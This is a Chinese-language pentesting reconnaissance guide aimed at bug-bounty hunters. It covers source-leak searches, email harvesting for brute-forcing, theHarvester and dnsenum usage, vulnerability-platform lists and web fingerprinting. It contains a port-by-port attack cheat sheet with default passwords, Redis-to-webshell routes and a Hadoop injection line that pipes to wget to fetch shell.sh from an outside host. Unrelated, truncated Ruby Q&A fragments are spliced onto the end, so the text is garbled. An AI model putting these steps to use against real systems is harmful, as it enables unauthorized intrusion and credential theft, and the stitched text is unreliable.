最想强调的是源代码信息泄露了,直接去github、国内csdn平台、码云上搜索,收获往往是大于付出。可能有人不自信认为没能力去SRC挖洞,可是肯定不敢说不会上网不会搜索。github相关的故事太多,但是给人引出的信息泄露远远不仅在这里:github.com、rubygems.org、pan.baidu.com…
QQ群备注或介绍等,甚至混入企业qq工作群…
然后说再多,也没这个好用:https://sec.xiaomi.com/article/37 全自动监控github
源代码信息泄露收集可能会用到如下地址:
网盘搜索:http://www.pansou.com/或https://www.lingfengyun.com/ 网盘密码破解可参考:https://www.52pojie.cn/thread-763130-1-1.html
源码搜索:https://searchcode.com/、https://gitee.com/、gitcafe.com、code.csdn.net

2.2 邮箱信息收集
收集邮箱信息主要有两个作用:1.通过发现目标系统账号的命名规律,可以用来后期登入其他子系统。2.爆破登入邮箱用。
通常邮箱的账号有如下几种生成规律: 比如某公司有员工名叫做“老马”,它的邮箱可能如下:
怎么找到这个人的昵称呢?请看11.1GoogleHack谷歌搜索引擎用法
Xiaomage@xxx.com sxt@xxx.com Tony@xxx.com
当我们收集几个邮箱之后,便会大致猜出对方邮箱的命名规律。除了员工的邮箱之外,通过公司会有一些共有的邮箱,比如人力的邮箱、客服的邮箱,hr@xxx.com/kefu@xxx.com,这种邮箱有时会存在弱口令,在渗透时可额外留意一下。我们可以通过手工或者工具的方式来确定搜集邮箱
手工的方式:
1.可以到百度等搜索引擎上搜索邮箱信息
2.github等第三方托管平台 3.社工库
社工库信息泄露:https://www.instantcheckmate.com/
工具方式:
在邮箱收集领域不得不提一个经典的工具,The Harvester,The Harvester可用于搜索Google、Bing和PGP服务器的电子邮件、主机以及子域名,因此需要翻墙运行该工具。工具下载地址为:https://github.com/laramies/theHarvester
• 注:python -m pip install -r requirements.txt 导入相关配置,python3.6版本
使用方式很简单:
./theHarvester.py -d 域名 -1 1000 -b all
仔细分析,大胆验证,发散思维,对企业的运维、开发习惯了解绝对是有很大的帮助。可以把漏洞保存下来,进行统计,甚至炫一点可以做成词云展示给自己看,看着看着或者就知道会有什么漏洞。
wooyun 历史漏洞库:http://www.anquan.us/ 、http://wooyun.2xss.cc/
教育行业漏洞报告平台(Beta)https://src.edu-info.edu.cn/login/
SRC众测平台
国际漏洞提交平台 https://www.hackerone.com/
BugX区块链漏洞平台 http://www.bugx.org/
Gsrc瓜子src https://security.guazi.com/
区块链安全响应中心 https://dvpnet.io/
CNVD国家信息安全漏洞平台 http://www.cnvd.org.cn/
漏洞银行:https://www.bugbank.cn/
360补天:https://www.butian.net/
教育行业漏洞报告平台(Beta)https://src.edu-info.edu.cn/login/
国内平台
知道创宇seebug漏洞平台 https://www.seebug.org/
工控系统行业漏洞平台 http://ivd.winicssec.com/
打造中文最大exploit库 http://www.expku.com/
为数不多的漏洞管理插件收集平台 http://www.bugscan.net/source/template/vulns/
一家管理漏洞收集的平台 漏洞银行
国外平台
国际漏洞提交平台 https://www.hackerone.com/
xss poc http://xssor.io/
oday漏洞库 https://www.0day.today/
路由器漏洞库 http://routerpwn.com/
cve漏洞平台 http://cve.mitre.org/
github泄露:
in:name test #仓库标题搜索含有关键字
SpringCloudin:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
stars:>3000 test #stars数量大于3000的搜索关键字
stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字
forks:>1000 test #forks数量大于1000的搜索关键字
forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字
size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字
pushed:>2019-02-12 test #发布时间大于 2019-02-12的搜索关键字
created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字
user:test #用户名搜素license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字
language:java test #在java语言的代码中搜索关键字
user:test in:name test #组合搜索,用户名test的标题含有test的。

快速扫描:
Masscan -p80,800 ip --rate=10000
21 / FTP
匿名/暴力破解
拒绝服务
22 / SSH
暴力破解
23 / telnet
Winbox(CVE-2018-14847)
https://github.com/BasuCert/WinboxPoC
弱口令 / 暴力破解
161 / snmp
弱口令
https://blog.csdn.net/archersaber39/article/details/78932252
389 / ladp
匿名访问
https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html
443 / ssl
openssl心脏出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html
445 / smb
win10拒绝服务
永恒之蓝RCE
875 / rsync
匿名访问
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html
1433 / mssql
暴力破解
http://www.anquan.us/static/drops/tips-12749. html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server
1521 / oracle
暴力破解
https://www.exploit-db.com/exploits/33084
2601 / zebra
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128 / squid
3306 / mysql
RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf绕过
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提权
http://www.91ri.org/16540.html
3312 / kangle
getshell
https://www.secpulse.com/archives/23927.html
3389 / rdp
shift 放大镜 输入法绕过 guest用户
永恒之蓝(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552
4440 / rundeck
https://www.secpulse.com/archives/29500.html
4848 / glassfish
文件读取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误
5432 / PostgreSQL
RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
参考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html
5672,15672,4369,25672 / RabbitMQ
(guest/guest)
5900 / VNC
https://www.seebug.org/appdir/RealVNC
5984 / CouchDB
http://xxx:5984/_utils/
6082 / varnish
CLI 未授权
https://www.secpulse.com/archives/10681.html
6379 / redis
Redis未授权
ssh publickey
crontab
webshell
反序列化
开机自启文件夹写bat
参考
https://www.freebuf.com/column/170710.html
7001,7002 / WebLogic
默认弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic
9200,9300 / elasticsearch
CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
参考
https://www.seebug.org/search/?keywords=elasticsearch
9000 / fcgi
https://paper.seebug.org/289/
9043 / WebSphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
11211 / memcache
未授权
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/
27017,27018 / Mongodb
未授权
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html
50000 / SAP
SAP命令执行
https://www.secpulse.com/archives/20204.html
50070,50030 / hadoop
未授权
https://www.freebuf.com/vuls/173638.html
命令执行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html
dnsenum的目的是尽可能收集一个域的信息,它能够通过谷歌或者字典文件猜测可能存在的域名,以及对一个网段进行反向查询。它可以查询网站的主机地址信息、域名服务器、mx record(函件交换记录),在域名服务器上执行axfr请求,通过谷歌脚本得到扩展域名信息(google hacking),提取自域名并查询,计算C类地址并执行whois查询,执行反向查询,把地址段写入文件。
用法:
在kail 中 dnsenum +域名 -f/dns.txt –dnserver
dnsenum参数说明:
-h 查看工具使用帮助
–dnsserver 指定域名服务器
–enum 快捷选项,相当于"–threads 5 -s 15 -w"
–noreverse 跳过反向查询操作
–nocolor 无彩色输出
–private 显示并在"domain_ips.txt"文件结尾保存私有的ips
–subfile 写入所有有效的子域名到指定文件
-t, --timeout tcp或者udp的连接超时时间,默认为10s(时间单位:秒)
–threads 查询线程数
-v, --verbose 显示所有的进度和错误消息
-o ,–output 输出选项,将输出信息保存到指定文件
-e, --exclude 反向查询选项,从反向查询结果中排除与正则表达式相符的PTR记录,在排查无效主机上非常有用
-w, --whois 在一个C段网络地址范围提供whois查询
-f dns.txt 指定字典文件,可以换成 dns-big.txt 也可以自定义字典
相关解析记录说明可参考:
DNS记录类型介绍(A记录、MX记录、NS记录等) - 百度文库
如:7kbscan、破壳Web极速扫描器等
2.7.1.在线识纹识别网址:
指纹识别存在通杀漏洞
http://whatweb.bugscaner.com/look/
http://www.yunsee.cn/finger.html
指纹识别查询|:whatweb.bugscaner.com/look/
2.7.2.Waf识别
github.com/Enablesecurity/wafw00f
2.7.3.CDN识别
https://raw.githubusercontent.com/3xp10it/mytools/master/xcdn.py
验证是否存在CDN
方法1:
使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/
方法2:
试用nslookup进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.
nslookup http://example.com
方法3:
在线工具查看是否存在CDN,可以参考以下站点:
http://www.cdnplanet.com/tools/cdnfinder
http://www.ipip.net/ip.html
2.7.4.常见指纹检测的对象
1、CMS信息:比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等;
2、前端技术:比如HTML5、jquery、bootstrap、pure、ace等;
3、Web服务器:比如Apache、lighttpd, Nginx, iis等;
4、应用服务器:比如Tomcat、Jboss、weblogic、websphere等;
5、开发语言:比如PHP、Java、Ruby、Python、C#等;
6、操作系统信息:比如linux、win2k8、win7、kali、centos等;
7、CDN信息:是否使用CDN,如cloudflare、360cdn、365cyd、yunjiasu等;
8、WAF信息:是否使用waf,如Topsec、Jiasule、Yundun等;
9、iP及域名信息:iP和域名注册信息、服务商信息等;
10、端口信息:有些软件或平台还会探测服务器开放的常见端口。
2.7.5.常见指纹识别软件
Wappalyzer(集成在浏览器或可单独)
whatweb(集成在kali)
what web -v(详细信息)+ 域名
Web Develpoer(浏览器集成)
御剑web指纹识别
wtfscan
2.7.6.常见指纹识别方式
1、特定文件的MD5
一些网站的特定图片文件、js文件、css等静态文件,如favicon.ico、css、logo.ico、js等文件一般不会修改,通过爬虫对这些文件进行抓取并比对md5值,如果和规则库中的Md5一致则说明是同一cms。这种方式速度比较快,误报率相对低一些,但也不排除有些二次开发的cms会修改这些文件。获得哈希值,工具对比。
2、正常页面或错误网页中包含的关键字
先访问首页或特定页面如robots.txt等,通过正则的方式去匹配某些关键字,如Powered by Discuz、dedecms等。
或者可以构造错误页面,根据报错信息来判断使用的cms或者中间件信息,比较常见的如tomcat的报错页面。
3、请求头信息的关键字匹配
根据网站response返回头信息进行关键字匹配,whatweb和Wappalyzer就是通过banner信息来快速识别指纹,
之前fofa的web指纹库很多都是使用的这种方法,效率非常高,基本请求一次就可以,但搜集这些规则可能会耗时很长。
而且这些banner信息有些很容易被改掉。
根据response header一般有以下几种识别方式:
查看http响应报头的X-Powered-By字段来识别;
根据Cookies来进行判断
比如一些waf会在返回头中包含一些信息,如360wzws、safedog、yunsuo等;
根据header中的server信息来判断
如DVRDVs-Webs、yunjiasu-nginx、Mod_security、nginx-wallarm等;
根据WWW-Authenticate进行判断一些路由交换设备可能存在这个字段,如NETCORE、huawei、h3c等设备。
4、部分URL中包含的关键字
比如wp-includes、dede等URL关键特征通过规则库去探测是否有相应目录,
或者根据爬虫结果对链接url进行分析,或者对robots.txt文件中目录进行检测等等方式,通过url地址来判别是否使用了某CMs,
比如wordpress默认存在wp-includes和wp-admin目录,织梦默认管理后台为dede目录,solr平台可能使用/solr目录,weblogic可能使用wls-wsat目录等。
5、开发语言的识别
web开发语言一般常见的有PHP、jsp、aspx、asp等,常见的识别方式有:
通过爬虫获取动态链接进行直接判断是比较简便的方法。
asp判别规则如下
<a[>]*?href=(‘|”)[http][^>]*?.asp(?|#|\1),其他语言可替换相应asp即可。
通过X-Powered-By进行识别
比较常见的有X-Powered-By: AsP.NET或者X-Powered-By: PHP/7.1.8
通过set-Cookie进行识别
这种方法比较常见也很快捷,比如set-Cookie中包含PHPssiONiD说明是php、包含jsessionid说明是java、包含asp.net_sessionid说明是aspx等。
很好奇,就使用rubyonrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提
大约一年前,我决定确保每个包含非唯一文本的Flash通知都将从模块中的方法中获取文本。我这样做的最初原因是为了避免一遍又一遍地输入相同的字符串。如果我想更改措辞,我可以在一个地方轻松完成,而且一遍又一遍地重复同一件事而出现拼写错误的可能性也会降低。我最终得到的是这样的:moduleMessagesdefformat_error_messages(errors)errors.map{|attribute,message|"Error:#{attribute.to_s.titleize}#{message}."}enddeferror_message_could_not_find(obje
我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i
我正在编写一个包含C扩展的gem。通常当我写一个gem时,我会遵循TDD的过程,我会写一个失败的规范,然后处理代码直到它通过,等等......在“ext/mygem/mygem.c”中我的C扩展和在gemspec的“扩展”中配置的有效extconf.rb,如何运行我的规范并仍然加载我的C扩展?当我更改C代码时,我需要采取哪些步骤来重新编译代码?这可能是个愚蠢的问题,但是从我的gem的开发源代码树中输入“bundleinstall”不会构建任何native扩展。当我手动运行rubyext/mygem/extconf.rb时,我确实得到了一个Makefile(在整个项目的根目录中),然后当
我有一个围绕一些对象的包装类,我想将这些对象用作散列中的键。包装对象和解包装对象应映射到相同的键。一个简单的例子是这样的:classAattr_reader:xdefinitialize(inner)@inner=innerenddefx;@inner.x;enddef==(other)@inner.x==other.xendenda=A.new(o)#oisjustanyobjectthatallowso.xb=A.new(o)h={a=>5}ph[a]#5ph[b]#nil,shouldbe5ph[o]#nil,shouldbe5我试过==、===、eq?并散列所有无济于事。
我有一些Ruby代码,如下所示:Something.createdo|x|x.foo=barend我想编写一个测试,它使用double代替block参数x,这样我就可以调用:x_double.should_receive(:foo).with("whatever").这可能吗? 最佳答案 specify'something'dox=doublex.should_receive(:foo=).with("whatever")Something.should_receive(:create).and_yield(x)#callthere
Sinatra新手;我正在运行一些rspec测试,但在日志中收到了一堆不需要的噪音。如何消除日志中过多的噪音?我仔细检查了环境是否设置为:test,这意味着记录器级别应设置为WARN而不是DEBUG。spec_helper:require"./app"require"sinatra"require"rspec"require"rack/test"require"database_cleaner"require"factory_girl"set:environment,:testFactoryGirl.definition_file_paths=%w{./factories./test/
我遵循MichaelHartl的“RubyonRails教程:学习Web开发”,并创建了检查用户名和电子邮件长度有效性的测试(名称最多50个字符,电子邮件最多255个字符)。test/helpers/application_helper_test.rb的内容是:require'test_helper'classApplicationHelperTest在运行bundleexecraketest时,所有测试都通过了,但我看到以下消息在最后被标记为错误:ERROR["test_full_title_helper",ApplicationHelperTest,1.820016791]test
我已经构建了一些serverspec代码来在多个主机上运行一组测试。问题是当任何测试失败时,测试会在当前主机停止。即使测试失败,我也希望它继续在所有主机上运行。Rakefile:namespace:specdotask:all=>hosts.map{|h|'spec:'+h.split('.')[0]}hosts.eachdo|host|begindesc"Runserverspecto#{host}"RSpec::Core::RakeTask.new(host)do|t|ENV['TARGET_HOST']=hostt.pattern="spec/cfengine3/*_spec.r
我在app/helpers/sessions_helper.rb中有一个帮助程序文件,其中包含一个方法my_preference,它返回当前登录用户的首选项。我想在集成测试中访问该方法。例如,这样我就可以在测试中使用getuser_path(my_preference)。在其他帖子中,我读到这可以通过在测试文件中包含requiresessions_helper来实现,但我仍然收到错误NameError:undefinedlocalvariableormethod'my_preference'.我做错了什么?require'test_helper'require'sessions_hel